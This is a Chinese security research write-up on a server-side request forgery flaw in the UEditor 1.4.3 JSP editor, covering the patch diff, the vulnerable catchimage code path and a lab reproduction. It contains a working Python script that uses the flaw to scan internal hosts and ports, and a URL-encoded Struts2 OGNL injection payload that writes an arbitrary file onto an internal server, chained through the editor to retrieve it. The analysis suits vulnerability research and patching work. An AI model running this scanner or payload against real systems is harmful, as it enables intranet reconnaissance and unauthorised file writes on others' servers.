UEditor SSRF漏洞(JSP版本)分析与复现

作者: 浮萍@猎户安全实验室

公众号:猎户安全实验室

前些时间测试的时候遇到了一个系统采用了UEditor编辑器,版本为1.4.3。已知该编辑器v1.4.3版本存在SSRF漏洞,虽然是Bool型的SSRF,除了可以进行内网探测外,也可以根据web应用指纹信息,之后进行进一步的测试。

0x01 前言

查看官方的更新日志可以发现UEditor编辑器在版本1.4.3.1修复了SSRF漏洞。

那版本1.4.3应该存在SSRF漏洞,本着能搜索就不动手的原则搜了一下,发现wooyun-2015-0133125中提到过这类的漏洞。但我这里是jsp版本的,里面提到jsp版本不一样,只好去分析一下漏洞产生的位置。

0x02 漏洞分析

那我们需要查看版本1.4.3与1.4.3.1有什么不同,从而找到存在问题的地方。该项目的代码托管在Github上,地址为:https://github.com/fex-team/ueditor///github.com/fex-team/ueditor/>。

查看版本1.4.3.1下的jsp代码.

可以发现在该版本有一次commit,commitId 为a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6。根据字面意思应该是增加了修复SSRF的代码。

下载下来后对比一下v1.4.3.1和v1.4.3代码有什么不同(这里仅对比jsp下的代码)。

发现在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。

    privatebooleanvalidHost ( String hostname) {
try {
InetAddressip = InetAddress.getByName(hostname);//根据主机名获取ip
if (ip.isSiteLocalAddress()) {//是否为地区本地地址
returnfalse;
}
} catch (UnknownHostExceptione) {
returnfalse;
}
return !filters.contains( hostname );
}

新增了对ip地址是否为内部地址的判断。而在v1.4.3中仅仅是做了是否为过滤的ip地址。

 privatebooleanvalidHost ( String hostname) {
return !filters.contains( hostname );
}

isSiteLocalAddress方法作用是当IP地址是地区本地地址(SiteLocalAddress)时返回true,否则返回false。

IPv4的地址本地地址分为三段:10.0.0.0~ 10.255.255.255、172.16.0.0 ~ 172.31.255.255、192.168.0.0 ~192.168.255.255。

搜索后发现在captureRemoteData中调用了validHost方法。

根据代码可以分析:首先使用validHost对url进行判断,如果不合法,就提示“被阻止的远程主机”;当满足条件后会使用validContentState方法查看返回的状态是否为200,若不为200,则提示“远程连接出错”;进而对后缀、文件大小进行判断,都符合之后才进行图片的保存。如果url无法访问,则提示“抓取远程图片失败”。

所以可以根据返回的内容,来推断该url对应的主机是否可以访问。由于在版本v1.4.3中没有对请求的主机进行验证,从而造成了SSRF漏洞。

继续查看在capture方法中调用了captureRemoteData。

    publicStatecapture ( String[] list ){
MultiStatestate = newMultiState( true );
for ( String source : list ) {
state.addState( captureRemoteData( source ));
}
return state;

在invoke中调用了capture.

    publicStringinvoke() {
if ( actionType == null || !ActionMap.mapping.containsKey(actionType ) ) {
returnnewBaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
}
...
Statestate = null;
intactionCode = ActionMap.getType( this.actionType );
...
switch ( actionCode ) {
...
caseActionMap.CATCH_IMAGE:
conf = configManager.getConfig(actionCode );
String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
state = newImageHunter( conf ).capture( list );
break;
...
}
returnstate.toJSONString();
}

当调用capture需要满足条件为actionCode为ActionMap.CATCH_IMAGE,在ActionMap中value为ActionMap.CATCH_IMAGE对应的key为catchimage。所以当actionType值为catchimage,即action参数对应为catchimage时,才可能触发SSRF漏洞。下面对漏洞进行验证。

0x03 漏洞验证

这里用的是v1.4.3 jsp版本,下载ueditor1_4_3-utf8-jsp.zip,之后进行配置(可以参考http://fex.baidu.com/ueditor/#server-jsp//fex.baidu.com/ueditor/#server-jsp>)。

功能实现的入口文件是jsp/controller.jsp。由上述分析可知需要满足action参数为catchimage。

在case ActionMap.CATCH_IMAGE中下断点,然后进行调试。

访问链接http://localhost:8088/jsp/controller.jsp?action=catchimage//localhost:8088/jsp/controller.jsp?action>

继续运行发现list为空,然后就抛出了异常。

再次运行,查看list数据从何而来。

可以看出list的数据从浏览器source[]参数而来。这里source[]需要后缀为图片格式,具体可以查看config.js中的catcherAllowFiles。

已知192.168.135.133开启了tomcat服务,且端口为8080。我们这里访问一张不存在的图片,例如用UUID生成一张图片的名称。

构造请求链接:http://localhost:8088/jsp/controller.jsp?action=catchimage&source[]=http://192.168.135.133:8080/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png

当进入validHost方法时,由于被访问的主机地址不在过滤的范围,所以返回true。

这里可以发现,仅仅对127.0.0.1、localhost和img.baidu.com进行了限制,当ip为本地地址时并没有限制,从而可以进行内网探测。

而该图片由于不存在,所以状态码为404,到此抓取图片过程结束,并返回结果。

这里可以根据页面返回的结果不同,来判断该地址对应的主机端口是否开放。可以总结为以下几点:

  1. 如果抓取不存在的图片地址时,页面返回{“state”: “SUCCESS”, list: [{“state”:”u8fdcu7a0bu8fdeu63a5u51fau9519″} ]},即state为“远程连接出错”。
  2. 如果成功抓取到图片,页面返回{“state”: “SUCCESS”, list: [{“state”: “SUCCESS”,”size”:”5103″,”source”:”http://192.168.135.133:8080/tomcat.png”,”title”:”1527173588127099881.png”,”url”:”/ueditor/jsp/upload/image/20180524/1527173588127099881.png”} ]},即state为“SUCCESS”。
  3. 如果主机无法访问,页面返回{“state”:”SUCCESS”, list: [{“state”: “u6293u53d6u8fdcu7a0bu56feu7247u5931u8d25”}]},即state为“抓取远程图片失败”。

由于除了在config.js中的catcherLocalDomain配置了过滤的地址外,没有针对内部地址进行过滤,所以可以根据抓取远程图片返回结果的不同,来进行内网的探测。

0x04 代码实现

由上述分析,根据返回包中的state进行判断,当state为”远程连接出错”或者为“SUCCESS”时表示该主机存在,且对应的端口为开放状态。

代码如下:

__Date__="20180524"
'''
Usage:
   python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133
   python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24
Python version: 3.6.2
requirements:IPy==0.83
'''
import sys
import json
import requests
from IPy import IP
defcheck(url,ip,port):
url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' %(url,ip,port)
res = requests.get(url)
result = res.text
result = result.replace("list",""list"")
res_json = json.loads(result)
state = res_json['list'][0]['state']
if state == '远程连接出错'or state == 'SUCCESS':
print(ip,port,'is Open')
defmain(url,ip):
ips = IP(ip)
ports = [80,8080]
for i in ips:
for port in ports:
check(url,i,port)
if__name__ == '__main__':
url = sys.argv[1]
ip = sys.argv[2]
main(url,ip)

由于返回的结果为{"state": "SUCCESS", list: [{"state":"..."} ]}并不能直接用json来解析,需要将list替换为“list”后才可以作为json来解析。当然也可以直接使用burp来测试。

在实际测试中的测试结果如下:

0x05 综合利用

对于这样的Bool型SSRF ,页面仅返回了状态,而没有更多别的信息,要想进一步利用,可以根据如下的思路:

内网探测->应用识别->攻击Payload->查看结果

5.1 内网探测

首先进行内网探测,查看内网开放的主机和端口。这里以本地为例。

执行命令:

python SSRF_Ueditor_jsp.pyhttp://localhost:8088/ 192.168.135.155
192.168.135.15580is Open
192.168.135.1558080is Open

发现端口80 和 8080 开放,然后进行应用的识别。

5.2 应用识别

80端口由于没有可以识别的特征,所以未识别到应用的类型,而8080端口可以识别出来为tomcat服务器。

然后尝试查看是否可能存在Struts2漏洞。

5.3 攻击Payload

由于在抓取远程图片时,会请求给出的URL地址,所以可以利用Struts2漏洞在内网服务器(这里为192.168.135.155)上写入一个后缀为图片格式(如png、jpg)的文件(因为只能抓取图片格式的文件,所以这里写入了图片后缀的文件),然后利用Ueditor抓取图片的功能,将写入的图片文件抓取到ueditor服务器中,然后访问图片查看攻击结果。

首先写文件,这里利用Struts2漏洞在内网服务器web项目下写入一个名字为b5e592d2-ab5b-476d-865a-8299a0625490.png的文件,内容为Struts2_Test.png。

这里之所以写入内容为Struts2_Test.png,是由于在抓取图片时会判断图片链接的后缀是否为图片格式。当然还有其他的写法,例如

http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B’b5e592d2-ab5b-476d-865a-8299a0625490.png’,%2523res%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png也可以写入。

然后再次利用Ueditor抓取远程图片的功能将写入内网服务器的“图片文件”抓取下来,查看其内容。

这里需要抓取的图片地址为:http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png//192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png>

由上图可以看出,最后抓取的文件保存地址为:/ueditor/jsp/upload/image/20180525/1527181480175039672.png

5.4 查看结果

然后访问http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png//localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png>

查看是否攻击成功。

表明攻击成功。

0x06 总结

由于UEditor在v1.4.3之前没有加入对内部IP的限制,所以在使用抓取图片的功能时,造成SSRF漏洞。可以进行内网服务器的探测。然后根据内网服务器的特征(如/jmx-console/images/logo.gif, /tomcat.png),判断其使用的组件,并猜测可能存在的漏洞,然后进行进一步的渗透。